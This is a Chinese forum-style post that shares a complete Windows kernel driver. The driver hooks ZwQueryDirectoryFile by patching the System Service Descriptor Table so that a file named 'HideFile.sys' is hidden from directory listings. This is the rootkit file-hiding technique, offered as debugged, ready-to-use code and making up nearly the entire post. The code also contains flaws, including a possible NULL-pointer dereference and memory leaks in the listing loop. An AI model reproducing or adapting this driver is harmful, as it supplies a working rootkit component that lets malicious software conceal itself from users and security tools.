学习了网上《编写驱动拦截NT的API实现隐藏文件目录》这篇文章 参考这篇文章的代码 自己试着写了下 现发出来我调试成功的代码 给需要的朋友们
代码:
#include "ntddk.h" typedef BOOLEAN BOOL; typedef unsigned long DWORD; typedef DWORD * PDWORD; typedef unsigned long ULONG; typedef unsigned short WORD; typedef unsigned char BYTE; // This is our unload function #pragma pack(1) typedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; unsigned int *ServiceCounterTableBase; unsigned int NumberOfServices; unsigned char *ParamTableBase; } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t; #pragma pack() __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable; typedef struct _FILE_BOTH_DIR_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; ULONG EaSize; CCHAR ShortNameLength; WCHAR ShortName[12]; WCHAR FileName[1]; } FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION; // Our System Call Table PVOID* NewSystemCallTable; // Our Memory Descriptor List PMDL pMyMDL; #define HOOK_INDEX(function2hook) *(PULONG)((PUCHAR)function2hook+1) #define HOOK(functionName, newPointer2Function, oldPointer2Function ) \ oldPointer2Function = (PVOID) InterlockedExchange( (PLONG) &NewSystemCallTable[HOOK_INDEX(functionName)], (LONG) newPointer2Function) #define UNHOOK(functionName, oldPointer2Function) \ InterlockedExchange( (PLONG) &NewSystemCallTable[HOOK_INDEX(functionName)], (LONG) oldPointer2Function) NTSYSAPI NTSTATUS NTAPI ZwQueryDirectoryFile( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass, IN BOOLEAN ReturnSingleEntry, IN PUNICODE_STRING FileName OPTIONAL, IN BOOLEAN RestartScan ); typedef NTSTATUS (*ZWQUERYDIRECTORYFILE)( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass, IN BOOLEAN ReturnSingleEntry, IN PUNICODE_STRING FileName OPTIONAL, IN BOOLEAN RestartScan ); ZWQUERYDIRECTORYFILE OldZwQueryDirectoryFile; NTSTATUS NewZwQueryDirectoryFile( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass, IN BOOLEAN ReturnSingleEntry, IN PUNICODE_STRING FileName OPTIONAL, IN BOOLEAN RestartScan ) { NTSTATUS status; ULONG CR0VALUE; ANSI_STRING ansiFileName,ansiDirName,HideDirFile; UNICODE_STRING uniFileName; RtlInitAnsiString(&HideDirFile,"HideFile.sys"); DbgPrint("hide: NewZwQueryDirectoryFile called."); status = ((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile)) ( FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock, FileInformation, Length, FileInformationClass, ReturnSingleEntry, FileName, RestartScan); //这部分是隐藏文件的核心部分 if(NT_SUCCESS(status)&&FileInformationClass==FileBothDirectoryInformation) { PFILE_BOTH_DIR_INFORMATION pFileInfo; PFILE_BOTH_DIR_INFORMATION pLastFileInfo; BOOLEAN bLastOne; pFileInfo = (PFILE_BOTH_DIR_INFORMATION)FileInformation; pLastFileInfo = NULL; do { bLastOne = !( pFileInfo->NextEntryOffset ); RtlInitUnicodeString(&uniFileName,pFileInfo->FileName); RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE); RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE); //DbgPrint("ansiFileName :%s\n",ansiFileName.Buffer); //DbgPrint("HideDirFile :%s\n",HideDirFile.Buffer); if( RtlCompareMemory(ansiFileName.Buffer,HideDirFile.Buffer,HideDirFile.Length ) == HideDirFile.Length) { if(bLastOne) { pLastFileInfo->NextEntryOffset = 0; break; } else //指针往后移动 { int iPos = ((ULONG)pFileInfo) - (ULONG)FileInformation; int iLeft = (DWORD)Length - iPos - pFileInfo->NextEntryOffset; RtlCopyMemory( (PVOID)pFileInfo, (PVOID)( (char *)pFileInfo + pFileInfo->NextEntryOffset ), (DWORD)iLeft ); continue; } } pLastFileInfo = pFileInfo; pFileInfo = (PFILE_BOTH_DIR_INFORMATION)((char *)pFileInfo + pFileInfo->NextEntryOffset); }while(!bLastOne); RtlFreeAnsiString(&ansiDirName); RtlFreeAnsiString(&ansiFileName); } return status; } NTSTATUS Hook( ) { pMyMDL = MmCreateMdl( NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices * 4 ); if( !pMyMDL ) return( STATUS_UNSUCCESSFUL ); MmBuildMdlForNonPagedPool( pMyMDL ); pMyMDL->MdlFlags = pMyMDL->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA; NewSystemCallTable = MmMapLockedPages( pMyMDL, KernelMode ); if( !NewSystemCallTable ) return( STATUS_UNSUCCESSFUL ); // Add hooks here (remember to unhook if using DriverUnload) HOOK( ZwQueryDirectoryFile,NewZwQueryDirectoryFile ,OldZwQueryDirectoryFile); return( STATUS_SUCCESS ); } NTSTATUS UnHook( ) { if( NewSystemCallTable ) { UNHOOK( ZwQueryDirectoryFile, OldZwQueryDirectoryFile ); MmUnmapLockedPages( NewSystemCallTable, pMyMDL ); IoFreeMdl( pMyMDL ); } return( STATUS_SUCCESS ); } NTSTATUS OnUnload( IN PDRIVER_OBJECT DriverObject ) { NTSTATUS status; DbgPrint("OnUnload called\n"); status=UnHook(); return status; } NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath) { NTSTATUS status = STATUS_SUCCESS; DbgPrint("I loaded!"); // Initialize the pointer to the unload function theDriverObject->DriverUnload = OnUnload; // in the DriverObject //hook Hook(); return STATUS_SUCCESS; }